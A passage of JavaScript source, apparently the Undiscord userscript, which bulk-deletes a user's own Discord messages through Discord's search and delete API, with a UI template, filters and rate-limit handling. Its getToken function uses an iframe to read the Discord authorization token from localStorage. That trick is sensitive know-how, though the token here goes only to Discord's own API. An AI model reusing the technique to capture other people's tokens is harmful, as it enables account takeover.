                          d="M5 6.99902V18.999C5 20.101 5.897 20.999 7 20.999H17C18.103 20.999 19 20.101 19 18.999V6.99902H5ZM11 17H9V11H11V17ZM15 17H13V11H15V17Z">
                      </path>
                  </svg>
                  <h3>Undiscord</h3>
                  <div class="vert-divider"></div>
                  <span> Bulk delete messages</span>
                  <div class="spacer"></div>
                  <div id="hide" class="icon" aria-label="Close" role="button" tabindex="0">
                      <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24">
                          <path fill="currentColor"
                              d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z">
                          </path>
                      </svg>
                  </div>
              </div>
              <div class="window-body" style="display: flex; flex-direction: row;">
                  <div class="sidebar scroll">
                      <details open>
                          <summary>General</summary>
                          <fieldset>
                              <legend>
                                  Author ID
                                  <a href="{{WIKI}}/authorId" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="multiInput">
                                  <div class="input-wrapper">
                                      <input class="input" id="authorId" type="text" priv>
                                  </div>
                                  <button id="getAuthor">me</button>
                              </div>
                          </fieldset>
                          <hr>
                          <fieldset>
                              <legend>
                                  Server ID
                                  <a href="{{WIKI}}/guildId" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="multiInput">
                                  <div class="input-wrapper">
                                      <input class="input" id="guildId" type="text" priv>
                                  </div>
                                  <button id="getGuild">current</button>
                              </div>
                          </fieldset>
                          <fieldset>
                              <legend>
                                  Channel ID
                                  <a href="{{WIKI}}/channelId" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="multiInput mb1">
                                  <div class="input-wrapper">
                                      <input class="input" id="channelId" type="text" priv>
                                  </div>
                                  <button id="getChannel">current</button>
                              </div>
                              <div class="sectionDescription">
                                  <label class="row"><input id="includeNsfw" type="checkbox">This is a NSFW channel</label>
                              </div>
                          </fieldset>
                      </details>
                      <details>
                          <summary>Import</summary>
                          <fieldset>
                              <legend>
                                  Import JSON
                                  <a href="{{WIKI}}/importJson" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="sectionDescription">
                                  The import feature will be added back in the future.
                              </div>
                              <div class="">
                                  <button id="importJson" disabled>Import</button>
                              </div>
                          </fieldset>
                      </details>
                      <hr>
                      <details>
                          <summary>Filter</summary>
                          <fieldset>
                              <legend>
                                  Search
                                  <a href="{{WIKI}}/filters" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="input-wrapper">
                                  <input id="search" type="text" placeholder="Containing text" priv>
                              </div>
                              <div class="sectionDescription">
                                  Only delete messages that contain the text
                              </div>
                              <div class="sectionDescription">
                                  <label><input id="hasLink" type="checkbox">has: link</label>
                              </div>
                              <div class="sectionDescription">
                                  <label><input id="hasFile" type="checkbox">has: file</label>
                              </div>
                              <div class="sectionDescription">
                                  <label><input id="includePinned" type="checkbox">Include pinned</label>
                              </div>
                          </fieldset>
                          <hr>
                          <fieldset>
                              <legend>
                                  Pattern
                                  <a href="{{WIKI}}/pattern" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="sectionDescription">
                                  Delete messages that match the regular expression
                              </div>
                              <div class="input-wrapper">
                                  <span class="info">/</span>
                                  <input id="pattern" type="text" placeholder="regular expression" priv>
                                  <span class="info">/</span>
                              </div>
                          </fieldset>
                      </details>
                      <details>
                          <summary>Messages interval</summary>
                          <fieldset>
                              <legend>
                                  Interval of messages
                                  <a href="{{WIKI}}/messageId" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="multiInput mb1">
                                  <div class="input-wrapper">
                                      <input id="minId" type="text" placeholder="After a message" priv>
                                  </div>
                                  <button id="pickMessageAfter">select</button>
                              </div>
                              <div class="multiInput">
                                  <div class="input-wrapper">
                                      <input id="maxId" type="text" placeholder="Before a message" priv>
                                  </div>
                                  <button id="pickMessageBefore">select</button>
                              </div>
                              <div class="sectionDescription">
                                  Specify an interval to delete messages.
                              </div>
                          </fieldset>
                      </details>
                      <details>
                          <summary>Date</summary>
                          <fieldset>
                              <legend>
                                  After date
                                  <a href="{{WIKI}}/dateRange" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="input-wrapper mb1">
                                  <input id="minDate" type="datetime-local" title="Messages posted AFTER this date">
                              </div>
                              <legend>
                                  Before date
                                  <a href="{{WIKI}}/dateRange" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="input-wrapper">
                                  <input id="maxDate" type="datetime-local" title="Messages posted BEFORE this date">
                              </div>
                              <div class="sectionDescription">
                                  Delete messages that were posted between the two dates.
                              </div>
                              <div class="sectionDescription">
                                  * Filtering by date doesn't work if you use the "Messages interval".
                              </div>
                          </fieldset>
                      </details>
                      <hr>
                      <details>
                          <summary>Advanced settings</summary>
                          <fieldset>
                              <legend>
                                  Search delay
                                  <a href="{{WIKI}}/delay" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="input-wrapper">
                                  <input id="searchDelay" type="number" value="100" step="100">
                              </div>
                          </fieldset>
                          <fieldset>
                              <legend>
                                  Delete delay
                                  <a href="{{WIKI}}/delay" title="Help" target="_blank">help</a>
                              </legend>
                              <div class="input-wrapper">
                                  <input id="deleteDelay" type="number" value="1000" step="100">
                              </div>
                              <br>
                              <div class="sectionDescription">
                                  This will affect the speed in which the messages are deleted.
                                  Use the help link for more information.
                              </div>
                          </fieldset>
                      </details>
                      <hr>
                      <div></div>
                      <div class="info">
                          Undiscord {{VERSION}}
                          <br> victornpb
                      </div>
                  </div>
                  <div class="main col">
                      <div class="tbar col">
                          <div class="row">
                              <button id="start" class="sizeMedium accent">Start</button>
                              <button id="stop" class="sizeMedium danger" disabled>Stop</button>
                              <button id="clear" class="sizeMedium">Clear log</button>
                              <label class="row" title="Hide sensitive information on your screen for taking screenshots">
                                  <input id="redact" type="checkbox" checked> Streamer mode
                              </label>
                          </div>
                          <div class="row">
                              <progress id="progressBar" value="-1"></progress>
                          </div>
                      </div>
                      <pre id="logArea" class="logarea scroll">
                          <center>
                              <div>Star <a href="{{HOME}}" target="_blank">this project</a> on GitHub!</div>
                              <div><a href="{{HOME}}/discussions" target="_blank">Issues or help</a></div>
                          </center>
                      </pre>
                      <div class="tbar footer row">
                          <label>
                              <input id="autoScroll" type="checkbox" checked> Auto scroll
                          </label>
                          <span id="progressPercent"></span>
                      </div>
                  </div>
              </div>
          </div>
           
          `);
           
            /**
             * Delete all messages in a Discord channel or DM
             * @param {string} authToken Your authorization token
             * @param {string} authorId Author of the messages you want to delete
             * @param {string} guildId Server were the messages are located
             * @param {string} channelId Channel were the messages are located
             * @param {string} minId Only delete messages after this, leave blank do delete all
             * @param {string} maxId Only delete messages before this, leave blank do delete all
             * @param {string} content Filter messages that contains this text content
             * @param {boolean} hasLink Filter messages that contains link
             * @param {boolean} hasFile Filter messages that contains file
             * @param {boolean} includeNsfw Search in NSFW channels
             * @param {function(string, Array)} extLogger Function for logging
             * @param {function} stopHndl stopHndl used for stopping
             * @author Victornpb <https://www.github.com/victornpb>
             * @see https://github.com/victornpb/undiscord
             */
            async function deleteMessages(authToken, authorId, guildId, channelId, minId, maxId, content, hasLink, hasFile, includeNsfw, includePinned, pattern, searchDelay, deleteDelay, extLogger, stopHndl, onProgress) {
              const start = new Date();
              let delCount = 0;
              let failCount = 0;
              let avgPing;
              let lastPing;
              let grandTotal;
              let throttledCount = 0;
              let throttledTotalTime = 0;
              let offset = 0;
              let iterations = -1;
           
              const wait = async ms => new Promise(done => setTimeout(done, ms));
              const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
              const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&amp;', '<': '&lt;', '"': '&quot;', '\'': '&#039;' })[m]);
              const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
              const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
              const ask = async msg => new Promise(resolve => setTimeout(() => resolve(window.confirm(msg)), 10));
              const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing | 0}ms`);
              const toSnowflake = (date) => /:/.test(date) ? ((new Date(date).getTime() - 1420070400000) * Math.pow(2, 22)) : date;
           
              const log = {
                debug() { return extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
                info() { return extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
                verb() { return extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
                warn() { return extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
                error() { return extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
                success() { return extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
              };
           
              async function recurse() {
                let API_SEARCH_URL;
                if (guildId === '@me') {
                  API_SEARCH_URL = `https://discord.com/api/v9/channels/${channelId}/messages/`; // DMs
                }
                else {
                  API_SEARCH_URL = `https://discord.com/api/v9/guilds/${guildId}/messages/`; // Server
                }
           
                const headers = {
                  'Authorization': authToken
                };
           
                if (onProgress) onProgress(-1, 1);
           
                let resp;
                try {
                  const s = Date.now();
                  resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
                    ['author_id', authorId || undefined],
                    ['channel_id', (guildId !== '@me' ? channelId : undefined) || undefined],
                    ['min_id', minId ? toSnowflake(minId) : undefined],
                    ['max_id', maxId ? toSnowflake(maxId) : undefined],
                    ['sort_by', 'timestamp'],
                    ['sort_order', 'desc'],
                    ['offset', offset],
                    ['has', hasLink ? 'link' : undefined],
                    ['has', hasFile ? 'file' : undefined],
                    ['content', content || undefined],
                    ['include_nsfw', includeNsfw ? true : undefined],
                  ]), { headers });
                  lastPing = (Date.now() - s);
                  avgPing = avgPing > 0 ? (avgPing * 0.9) + (lastPing * 0.1) : lastPing;
                } catch (err) {
                  return log.error('Search request threw an error:', err);
                }
           
                // not indexed yet
                if (resp.status === 202) {
                  const w = (await resp.json()).retry_after * 1000;
                  throttledCount++;
                  throttledTotalTime += w;
                  log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
                  await wait(w);
                  return await recurse();
                }
           
                if (!resp.ok) {
                  // searching messages too fast
                  if (resp.status === 429) {
                    const w = (await resp.json()).retry_after * 1000;
                    throttledCount++;
                    throttledTotalTime += w;
                    searchDelay += w; // increase delay
                    log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`);
                    printDelayStats();
                    log.verb(`Cooling down for ${w * 2}ms before retrying...`);
           
                    await wait(w * 2);
                    return await recurse();
                  } else {
                    return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
                  }
                }
           
                let regex;
           
                try {
                  regex = new RegExp(pattern);
                } catch (e) {
                  log.warn('Ignoring RegExp because pattern is malformed');
                }
           
                const data = await resp.json();
                const total = data.total_results;
                if (!grandTotal) grandTotal = total;
                const discoveredMessages = data.messages.map(convo => convo.find(message => message.hit === true));
                const messagesToDelete = discoveredMessages.filter(msg => {
                  return (msg.type === 0 || (msg.type >= 6 && msg.type <= 21) || (msg.pinned && includePinned)) && (!regex || msg.content.match(regex));
                });
                const skippedMessages = discoveredMessages.filter(msg => !messagesToDelete.find(m => m.id === msg.id));
           
                const end = () => {
                  log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
                  printDelayStats();
                  log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
                  log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`);
                };
           
                const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
                log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, To be deleted: ${messagesToDelete.length}, System: ${skippedMessages.length})`, `offset: ${offset}`);
                printDelayStats();
                log.verb(`Estimated time remaining: ${etr}`);
           
           
                if (messagesToDelete.length > 0 || skippedMessages.length > 0) {
           
                  if (++iterations < 1) {
                    log.verb('Waiting for your confirmation...');
                    if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +
                                messagesToDelete.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
                      return end(log.error('Aborted by you!'));
                    log.verb('OK');
                  }
           
                  for (let i = 0; i < messagesToDelete.length; i++) {
                    const message = messagesToDelete[i];
                    if (stopHndl && stopHndl()) return end(log.error('Stopped by you!'));
           
                    log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
                      `Deleting ID:${redact(message.id)} <b>${redact(message.author.username + '#' + message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g, '↵')}</i>`,
                      message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
                    if (onProgress) onProgress(delCount + 1, grandTotal);
           
                    let resp;
                    try {
                      const s = Date.now();
                      const API_DELETE_URL = `https://discord.com/api/v9/channels/${message.channel_id}/messages/${message.id}`;
                      resp = await fetch(API_DELETE_URL, {
                        headers,
                        method: 'DELETE'
                      });
                      lastPing = (Date.now() - s);
                      avgPing = (avgPing * 0.9) + (lastPing * 0.1);
                      delCount++;
                    } catch (err) {
                      log.error('Delete request throwed an error:', err);
                      log.verb('Related object:', redact(JSON.stringify(message)));
                      failCount++;
                    }
           
                    if (!resp.ok) {
                      // deleting messages too fast
                      if (resp.status === 429) {
                        const w = (await resp.json()).retry_after * 1000;
                        throttledCount++;
                        throttledTotalTime += w;
                        deleteDelay = w; // increase delay
                        log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
                        printDelayStats();
                        log.verb(`Cooling down for ${w * 2}ms before retrying...`);
                        await wait(w * 2);
                        i--; // retry
                      } else {
                        log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
                        log.verb('Related object:', redact(JSON.stringify(message)));
                        failCount++;
                      }
                    }
           
                    await wait(deleteDelay);
                  }
           
                  if (skippedMessages.length > 0) {
                    grandTotal -= skippedMessages.length;
                    offset += skippedMessages.length;
                    log.verb(`Found ${skippedMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
                  }
           
                  log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : ''));
                  await wait(searchDelay);
           
                  if (stopHndl && stopHndl()) return end(log.error('Stopped by you!'));
           
                  return await recurse();
                } else {
                  if (total - offset > 0) log.warn('Ended because API returned an empty page.');
                  return end();
                }
              }
           
              log.success(`\nStarted at ${start.toLocaleString()}`);
              log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" minId="${redact(minId)}" maxId="${redact(maxId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
              if (onProgress) onProgress(null, 1);
              return await recurse();
            }
           
            class Drag {
              /**
                 * Make an element draggable/resizable
                 * @param {Element} targetElm The element that will be dragged/resized
                 * @param {Element} handleElm The element that will listen to events (handdle/grabber)
                 * @param {object} [options] Options
                 * @param {string} [options.mode="move"] Define the type of operation (move/resize)
                 * @param {number} [options.minWidth=200] Minimum width allowed to resize
                 * @param {number} [options.maxWidth=Infinity] Maximum width allowed to resize
                 * @param {number} [options.minHeight=100] Maximum height allowed to resize
                 * @param {number} [options.maxHeight=Infinity] Maximum height allowed to resize
                 * @param {string} [options.draggingClass="drag"] Class added to targetElm while being dragged
                 * @param {boolean} [options.useMouseEvents=true] Use mouse events
                 * @param {boolean} [options.useTouchEvents=true] Use touch events
                 *
                 * @author Victor N. wwww.vitim.us
                 */
              constructor(targetElm, handleElm, options) {
                this.options = Object.assign({
                  mode: 'move',
           
                  minWidth: 200,
                  maxWidth: Infinity,
                  minHeight: 100,
                  maxHeight: Infinity,
                  xAxis: true,
                  yAxis: true,
           
                  draggingClass: 'drag',
           
                  useMouseEvents: true,
                  useTouchEvents: true,
                }, options);
           
                // Public properties
                this.minWidth = this.options.minWidth;
                this.maxWidth = this.options.maxWidth;
                this.minHeight = this.options.minHeight;
                this.maxHeight = this.options.maxHeight;
                this.xAxis = this.options.xAxis;
                this.yAxis = this.options.yAxis;
                this.draggingClass = this.options.draggingClass;
           
                /** @private */
                this._targetElm = targetElm;
                /** @private */
                this._handleElm = handleElm;
           
                const moveOp = (x, y) => {
                  let l = x - offLeft;
                  if (x - offLeft < 0) l = 0; //offscreen <-
                  else if (x - offRight > vw) l = vw - this._targetElm.clientWidth; //offscreen ->
                  let t = y - offTop;
                  if (y - offTop < 0) t = 0; //offscreen /\
                  else if (y - offBottom > vh) t = vh - this._targetElm.clientHeight; //offscreen \/
           
                  if(this.xAxis) this._targetElm.style.left = `${l}px`;
                  if(this.yAxis) this._targetElm.style.top = `${t}px`;
                  // NOTE: profilling on chrome translate wasn't faster than top/left as expected. And it also permanently creates a new layer, increasing vram usage.
                  // this._targetElm.style.transform = `translate(${l}px, ${t}px)`;
                };
           
                const resizeOp = (x, y) => {
                  let w = x - this._targetElm.offsetLeft - offRight;
                  if (x - offRight > vw) w = Math.min(vw - this._targetElm.offsetLeft, this.maxWidth); //offscreen ->
                  else if (x - offRight - this._targetElm.offsetLeft > this.maxWidth) w = this.maxWidth; //max width
                  else if (x - offRight - this._targetElm.offsetLeft < this.minWidth) w = this.minWidth; //min width
                  let h = y - this._targetElm.offsetTop - offBottom;
                  if (y - offBottom > vh) h = Math.min(vh - this._targetElm.offsetTop, this.maxHeight); //offscreen \/
                  else if (y - offBottom - this._targetElm.offsetTop > this.maxHeight) h = this.maxHeight; //max height
                  else if (y - offBottom - this._targetElm.offsetTop < this.minHeight) h = this.minHeight; //min height
           
                  if(this.xAxis) this._targetElm.style.width = `${w}px`;
                  if(this.yAxis) this._targetElm.style.height = `${h}px`;
                };
           
                // define which operation is performed on drag
                const operation = this.options.mode === 'move' ? moveOp : resizeOp;
           
                // offset from the initial click to the target boundaries
                let offTop, offLeft, offBottom, offRight;
           
                let vw = window.innerWidth;
                let vh = window.innerHeight;
           
           
                function dragStartHandler(e) {
                  const touch = e.type === 'touchstart';
           
                  if ((e.buttons === 1 || e.which === 1) || touch) {
                    e.preventDefault();
           
                    const x = touch ? e.touches[0].clientX : e.clientX;
                    const y = touch ? e.touches[0].clientY : e.clientY;
           
                    const targetOffset = this._targetElm.getBoundingClientRect();
           
                    //offset from the click to the top-left corner of the target (drag)
                    offTop = y - targetOffset.y;
                    offLeft = x - targetOffset.x;
                    //offset from the click to the bottom-right corner of the target (resize)
                    offBottom = y - (targetOffset.y + targetOffset.height);
                    offRight = x - (targetOffset.x + targetOffset.width);
           
                    vw = window.innerWidth;
                    vh = window.innerHeight;
           
                    if (this.options.useMouseEvents) {
                      document.addEventListener('mousemove', this._dragMoveHandler);
                      document.addEventListener('mouseup', this._dragEndHandler);
                    }
                    if (this.options.useTouchEvents) {
                      document.addEventListener('touchmove', this._dragMoveHandler, {
                        passive: false,
                      });
                      document.addEventListener('touchend', this._dragEndHandler);
                    }
           
                    this._targetElm.classList.add(this.draggingClass);
                  }
                }
           
                function dragMoveHandler(e) {
                  e.preventDefault();
                  let x, y;
           
                  const touch = e.type === 'touchmove';
                  if (touch) {
                    const t = e.touches[0];
                    x = t.clientX;
                    y = t.clientY;
                  } else { //mouse
           
                    // If the button is not down, dispatch a "fake" mouse up event, to stop listening to mousemove
                    // This happens when the mouseup is not captured (outside the browser)
                    if ((e.buttons || e.which) !== 1) {
                      this._dragEndHandler();
                      return;
                    }
           
                    x = e.clientX;
                    y = e.clientY;
                  }
           
                  operation(x, y);
                }
           
                function dragEndHandler(e) {
                  if (this.options.useMouseEvents) {
                    document.removeEventListener('mousemove', this._dragMoveHandler);
                    document.removeEventListener('mouseup', this._dragEndHandler);
                  }
                  if (this.options.useTouchEvents) {
                    document.removeEventListener('touchmove', this._dragMoveHandler);
                    document.removeEventListener('touchend', this._dragEndHandler);
                  }
                  this._targetElm.classList.remove(this.draggingClass);
                }
           
                // We need to bind the handlers to this instance and expose them to methods enable and destroy
                /** @private */
                this._dragStartHandler = dragStartHandler.bind(this);
                /** @private */
                this._dragMoveHandler = dragMoveHandler.bind(this);
                /** @private */
                this._dragEndHandler = dragEndHandler.bind(this);
           
                this.enable();
              }
           
              /**
               * Turn on the drag and drop of the instancea
               * @memberOf Drag
               */
              enable() {
                // this.destroy(); // prevent events from getting binded twice
                if (this.options.useMouseEvents) this._handleElm.addEventListener('mousedown', this._dragStartHandler);
                if (this.options.useTouchEvents) this._handleElm.addEventListener('touchstart', this._dragStartHandler, { passive: false });
              }
              /**
               * Teardown all events bound to the document and elements
               * You can resurrect this instance by calling enable()
               * @memberOf Drag
               */
              destroy() {
                this._targetElm.classList.remove(this.draggingClass);
           
                if (this.options.useMouseEvents) {
                  this._handleElm.removeEventListener('mousedown', this._dragStartHandler);
                  document.removeEventListener('mousemove', this._dragMoveHandler);
                  document.removeEventListener('mouseup', this._dragEndHandler);
                }
                if (this.options.useTouchEvents) {
                  this._handleElm.removeEventListener('touchstart', this._dragStartHandler);
                  document.removeEventListener('touchmove', this._dragMoveHandler);
                  document.removeEventListener('touchend', this._dragEndHandler);
                }
              }
            }
           
            function createElm(html) {
              const temp = document.createElement('div');
              temp.innerHTML = html;
              return temp.removeChild(temp.firstElementChild);
            }
           
            function insertCss(css) {
              const style = document.createElement('style');
              style.appendChild(document.createTextNode(css));
              document.head.appendChild(style);
              return style;
            }
           
            const messagePickerCss = `
          body.undiscord-pick-message [data-list-id="chat-messages"] {
            background-color: var(--background-secondary-alt);
            box-shadow: inset 0 0 0px 2px var(--button-outline-brand-border);
          }
           
          body.undiscord-pick-message [id^="message-content-"]:hover {
            cursor: pointer;
            cursor: cell;
            background: var(--background-message-automod-hover);
          }
          body.undiscord-pick-message [id^="message-content-"]:hover::after {
            position: absolute;
            top: calc(50% - 11px);
            left: 4px;
            z-index: 1;
            width: 65px;
            height: 22px;
            line-height: 22px;
            font-family: var(--font-display);
            background-color: var(--button-secondary-background);
            color: var(--header-secondary);
            font-size: 12px;
            font-weight: 500;
            text-transform: uppercase;
            text-align: center;
            border-radius: 3px;
            content: 'This 👉';
          }
          body.undiscord-pick-message.before [id^="message-content-"]:hover::after {
            content: 'Before 👆';
          }
          body.undiscord-pick-message.after [id^="message-content-"]:hover::after {
            content: 'After 👇';
          }
          `;
           
            const messagePicker = {
              init() {
                insertCss(messagePickerCss);
              },
              grab(auxiliary) {
                return new Promise((resolve, reject) => {
                  document.body.classList.add('undiscord-pick-message');
                  if (auxiliary) document.body.classList.add(auxiliary);
                  function clickHandler(e) {
                    const message = e.target.closest('[id^="message-content-"]');
                    if (message) {
                      e.preventDefault();
                      e.stopPropagation();
                      e.stopImmediatePropagation();
                      if (auxiliary) document.body.classList.remove(auxiliary);
                      document.body.classList.remove('undiscord-pick-message');
                      document.removeEventListener('click', clickHandler);
                      try {
                        resolve(message.id.match(/message-content-(\d+)/)[1]);
                      } catch (e) {
                        resolve(null);
                      }
                    }
                  }
                  document.addEventListener('click', clickHandler);
                });
              }
            };
           
            var messagePicker$1 = messagePicker;
            window.messagePicker = messagePicker;
           
            function getToken() {
              window.dispatchEvent(new Event('beforeunload'));
              const LS = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
              return JSON.parse(LS.token);
            }
           
            function getAuthorId() {
              const LS = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
              return JSON.parse(LS.user_id_cache);
            }
           
            function getGuildId() {
              const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
              if (m) return m[1];
              else alert('Could not the Guild ID!\nPlease make sure you are on a Server or DM.');
            }
           
            function getChannelId() {
              const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
              if (m) return m[2];
              else alert('Could not the Channel ID!\nPlease make sure you are on a Channel or DM.');
            }
           
            // ------------------------- User interface ------------------------------ //
           
            const HOME = 'https://github.com/victornpb/undiscord';
            const WIKI = 'https://github.com/victornpb/undiscord/wiki';
           
            const $ = s => undiscordWindow.querySelector(s);
           
            let undiscordWindow;
            let undiscordBtn;
           
            function initUI() {
           
              insertCss(discordStyles);
              insertCss(undiscordStyles);
           
              function replaceInterpolations(str, obj, removeMissing = false) {
                return str.replace(/\{\{([\w_]+)\}\}/g, (m, key) => obj[key] || (removeMissing ? '' : m));
              }
           
              const templateVariables = {
                VERSION: version,
                HOME,
                WIKI,
              };
           
              // create undiscord window
              const undiscordUI = replaceInterpolations(undiscordTemplate, templateVariables);
              undiscordWindow = createElm(undiscordUI);
              document.body.appendChild(undiscordWindow);
           
              new Drag(undiscordWindow, $('.header'), { mode: 'move' });
              new Drag(undiscordWindow, $('.footer'), { mode: 'resize' });
           
              // create undiscord button
              undiscordBtn = createElm(buttonHtml);
              undiscordBtn.onclick = toggleWindow;
              function mountBtn() {
                const toolbar = document.querySelector('#app-mount [class^=toolbar]');
                if (toolbar) toolbar.appendChild(undiscordBtn);
              }
              mountBtn();
           
              // watch for changes and re-mount button if necessary
              const discordElm = document.querySelector('#app-mount');
              let observerThrottle = null;
              const observer = new MutationObserver((_mutationsList, _observer) => {
                if (observerThrottle) return;
                observerThrottle = setTimeout(() => {
                  observerThrottle = null;
                  if (!discordElm.contains(undiscordBtn)) mountBtn(); // re-mount the button to the toolbar
                }, 3000);
              });
              observer.observe(discordElm, { attributes: false, childList: true, subtree: true });
           
              function toggleWindow() {
                if (undiscordWindow.style.display !== 'none') {
                  undiscordWindow.style.display = 'none';
                  undiscordBtn.style.color = 'var(--interactive-normal)';
                }
                else {
                  undiscordWindow.style.display = '';
                  undiscordBtn.style.color = 'var(--interactive-active)';
                }
              }
           
              messagePicker$1.init();
           
              // register event listeners
              $('#hide').onclick = toggleWindow;
              $('button#start').onclick = start;
              $('button#stop').onclick = stop;
              $('button#clear').onclick = () => $('#logArea').innerHTML = '';
              $('button#getAuthor').onclick = () => $('input#authorId').value = getAuthorId();
              $('button#getGuild').onclick = () => {
                const guildId = $('input#guildId').value = getGuildId();
                if (guildId === '@me') $('input#channelId').value = getChannelId();
              };
              $('button#getChannel').onclick = () => {
                $('input#channelId').value = getChannelId();
                $('input#guildId').value = getGuildId();
              };
              $('#redact').onchange = () => {
                const b = undiscordWindow.classList.toggle('redact');
                if (b) alert('This mode will attempt to hide personal information, so you can screen share / take screenshots.\nAlways double check you are not sharing sensitive information!');
              };
           
              $('#pickMessageAfter').onclick = async () => {
                // alert('Select a message on the chat.\nThe message below it will be deleted.');
                const id = await messagePicker$1.grab('after');
                if (id) $('input#minId').value = id;
              };
              $('#pickMessageBefore').onclick = async () => {
                // alert('Select a message on the chat.\nThe message above it will be deleted.');
                const id = await messagePicker$1.grab('before');
                if (id) $('input#maxId').value = id;
              };
           
              // const fileSelection = $('input#importJson');
              // fileSelection.onchange = () => {
              //   const files = fileSelection.files;
              //   const channelIdField = $('input#channelId');
              //   if (files.length > 0) {
              //     const file = files[0];
              //     file.text().then(text => {
              //       let json = JSON.parse(text);
              //       let channels = Object.keys(json);
              //       channelIdField.value = channels.join(',');
              //     });
              //   }
              // };
           
            }
           
            let _stopFlag = false;
            const stopHndl = () => _stopFlag;
           
            async function start() {
              console.log('start');
              _stopFlag = false;
           
              // general
              const authToken = getToken();
              const authorId = $('input#authorId').value.trim();
              const guildId = $('input#guildId').value.trim();
              const channelIds = $('input#channelId').value.trim().split(/\s*,\s*/);
              const includeNsfw = $('input#includeNsfw').checked;
              // filter
              const content = $('input#search').value.trim();
              const hasLink = $('input#hasLink').checked;
              const hasFile = $('input#hasFile').checked;
              const includePinned = $('input#includePinned').checked;
              const pattern = $('input#pattern').value;
              // message interval
              const minId = $('input#minId').value.trim();
              const maxId = $('input#maxId').value.trim();
              // date range
              const minDate = $('input#minDate').value.trim();
              const maxDate = $('input#maxDate').value.trim();
              //advanced
              const searchDelay = parseInt($('input#searchDelay').value.trim());
              const deleteDelay = parseInt($('input#deleteDelay').value.trim());
           
              // progress handler
              const progress = $('#progressBar');
              const progress2 = undiscordBtn.querySelector('progress');
              const percent = $('#progressPercent');
              const onProg = (value, max) => {
                if (value && max && value > max) max = value;
                progress.setAttribute('max', max);
                progress2.setAttribute('max', max);
                progress.value = value;
                progress2.value = value;
                progress.style.display = max ? '' : 'none';
                progress2.style.display = max ? '' : 'none';
                percent.style.display = value && max ? '' : 'none';
                percent.innerHTML = value >= 0 && max ? Math.round(value / max * 100) + '%' : '';
                // indeterminate progress bar
                if (value === -1) {
                  progress.removeAttribute('value');
                  progress2.removeAttribute('value');
                  percent.innerHTML = '...';
                }
              };
           
              let logArea = $('#logArea');
              let autoScroll = $('#autoScroll');
              const logger = (type = '', args) => {
                const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
                logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
                if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
              };
           
              logArea.innerHTML = '';
           
              // validate input
              if (!authToken) return logger('error', ['Could not detect the authorization token!']) || logger('info', ['Please make sure Undiscord is up to date']);
              else if (!guildId) return logger('error', ['You must provide a Server ID!']);
           
              for (let i = 0; i < channelIds.length; i++) {
                $('#start').disabled = true;
                $('#stop').disabled = false;
